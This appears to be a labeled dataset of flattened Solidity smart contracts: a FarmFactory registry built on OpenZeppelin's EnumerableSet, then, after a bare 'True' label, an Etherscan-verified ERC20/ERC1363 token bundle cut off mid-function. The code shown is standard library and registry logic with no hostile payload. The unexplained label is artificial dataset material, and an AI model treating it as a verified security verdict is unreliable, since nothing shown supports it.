set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Root file: contracts/farm/FarmFactory.sol
pragma solidity 0.6.10;
// import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
// import { EnumerableSet } from "@openzeppelin/contracts/utils/EnumerableSet.sol";
contract FarmFactory is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
/* ============ State Variables ============ */
EnumerableSet.AddressSet private farms;
EnumerableSet.AddressSet private farmGenerators;
mapping(address => EnumerableSet.AddressSet) private userFarms;
/* ============ Owner Functions ============ */
/**
* Allow/Disallow Farm generator.
*
* @param _address Address of the farm generator contract instance
* @param _allow Allow or disallow the farm generator
*/
function adminAllowFarmGenerator(address _address, bool _allow) external onlyOwner {
if (_allow) {
farmGenerators.add(_address);
} else {
farmGenerators.remove(_address);
}
}
/* ============ Public/External Functions ============ */
/**
* Called by a registered FarmGenerator upon Farm creation
*
* @param _farmAddress Address of the farm
*/
function registerFarm(address _farmAddress) external {
require(farmGenerators.contains(msg.sender), "FORBIDDEN");
farms.add(_farmAddress);
}
/**
* Called by a Farm contract when lp token balance changes from 0 to > 0 to allow tracking all farms a user is active in
*
* @param _user Address of the user
*/
function userEnteredFarm(address _user) public {
// msg.sender = farm contract
require(farms.contains(msg.sender), "FORBIDDEN");
EnumerableSet.AddressSet storage set = userFarms[_user];
set.add(msg.sender);
}
/**
* Called by a Farm contract when all LP tokens have been withdrawn, removing the farm from the users active farm list
*
* @param _user Address of the user
*/
function userLeftFarm(address _user) public {
// msg.sender = farm contract
require(farms.contains(msg.sender), "FORBIDDEN");
EnumerableSet.AddressSet storage set = userFarms[_user];
set.remove(msg.sender);
}
/* ============ View Functions ============ */
/**
* Get number of allowed FarmGenerators
*/
function farmGeneratorsLength() external view returns (uint256) {
return farmGenerators.length();
}
/**
* Get the address of a registered FarmGenerator at specifiex index
*
* @param _index Index of the farm generator in the array
*/
function farmGeneratorAtIndex(uint256 _index) external view returns (address) {
return farmGenerators.at(_index);
}
/**
* Get the length of all farms on the platform
*/
function farmsLength() external view returns (uint256) {
return farms.length();
}
/**
* Get a farm at a specific index. Although using Enumerable Set, since farms are only added and not removed this will never change
*
* @param _index Index of the farm in the array
*/
function farmAtIndex(uint256 _index) external view returns (address) {
return farms.at(_index);
}
/**
* Get the number of farms the user is active in
*
* @param _user Address of the user
*/
function userFarmsLength(address _user) external view returns (uint256) {
EnumerableSet.AddressSet storage set = userFarms[_user];
return set.length();
}
/**
* Get the farm the user is active in, by the index
*
* @param _user Address of the user
* @param _index Index of the farm in the array
*/
function userFarmAtIndex(address _user, uint256 _index) external view returns (address) {
EnumerableSet.AddressSet storage set = userFarms[_user];
return set.at(_index);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 immutable private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363 Interface
* @dev Interface for a Payable Token contract as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363 is IERC20, IERC165 {
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address recipient, uint256 amount) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 amount) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363Receiver Interface
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Receiver {
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param sender address The address which are token transferred from
* @param amount uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing
*/
function onTransferReceived(
address operator,
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363Spender Interface
* @dev Interface for any contract that wants to support approveAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Spender {
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param sender address The address which called `approveAndCall` function
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing
*/
function onApprovalReceived(
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol
pragma solidity ^0.8.0;
/**
* @title ERC1363
* @dev Implementation of an ERC1363 interface
*/
abstract contract ERC1363 is ERC20, IERC1363, ERC165 {
using Address for address;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1363).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to.
* @param amount The amount to be transferred.
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) {
return transferAndCall(recipient, amount, "");
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to
* @param amount The amount to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transfer(recipient, amount);
require(_checkAndCallTransfer(_msgSender(), recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
return transferFromAndCall(sender, recipient, amount, "");
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes memory data
